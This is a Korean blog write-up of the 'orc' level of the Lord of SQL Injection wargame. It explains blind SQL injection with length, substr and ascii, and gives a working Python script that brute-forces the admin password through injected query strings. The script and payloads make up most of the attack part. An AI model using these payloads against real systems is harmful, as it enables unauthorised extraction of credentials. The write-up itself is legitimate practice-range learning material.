Problem
Problem Analysis
이번엔 조금 특수한 문제다. 단순히 논리 오류가 아닌 blind injection 기법을 사용해야 한다.
문제를 보면 pw를 한번 받고 또 해당 pw를 따로 검사해서 제대로 값이 불려 오는지 검사한다.
즉, 알맞은 pw를 찾아야 문제가 풀리는 것이다.
그럼 이제 admin의 비밀번호를 찾아야한다.
비밀번호를 찾기 위해선 특수한 함수를 사용해야 하는데, 여러 함수들이 있다.
예를 들어, like, mid, left, substr 등이 있고 이 중에서 골라서 사용하면 된다.
이번 문제에서 사용할 substr은 다음과 같이 인자를 받는다.
substr(해당 칼럼, 문자 위치, 문자 개수)
이 함수는 본래 문자열을 추출하기 위한 함수로 substr(pw, 1, 1)이라고 하면 pw에서 첫 번째의 문자를 추출해온다. 따라서 해당 함수를 이용하여 비교를 하면 쉽게 풀 수 있다.
물론 일일이 손으로 할 수도 있지만, python을 이용하여 손쉽게 풀어볼 수 있도록 하였다.
Exploit
import requests
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
cookie = {'PHPSESSID':'ec8s5fjt73b18gt'}
len = 0
while True:
query = f"1\' OR id=\'admin\' and length(pw)={len}#"
param = {'pw':query}
res = requests.get(url, params=param, cookies=cookie)
if 'Hello admin' in res.text:
break
else:
len += 1
print(len)
s = ""
index = 1
for i in range(len):
find = 0
while True:
query = f"\' OR id=\'admin\' AND ascii(substr(pw,{index},1))={find}#"
print(query)
param = {'pw': query}
res = requests.get(url, params=param, cookies=cookie)
if "Hello admin" in res.text:
break
else:
find += 1
s += chr(find)
index +=1
print(s)
우선 length함수를 이용해 길이를 찾고 ascii함수를 이용하여 문자열을 ascii 값으로 바꿨다.
특수문자 혹은 어떠한 문자가 들어갈지 모르기 때문에 전부 비교해봐야 하기 때문이다.
이제 코드를 실행하면
095a9852가 나오게 되고
반응형
'Web Hacking > LOS(Lord Of SQL injection)' 카테고리의 다른 글
[LOS] darkelf #6 (0) | 2021.03.29 |
---|---|
[LOS] wolfman #5 (0) | 2021.03.29 |
[LOS] goblin #3 (0) | 2021.03.29 |
[LOS] cobolt #2 (0) | 2021.03.29 |
[LOS] gremlin #1 (0) | 2021.03.29 |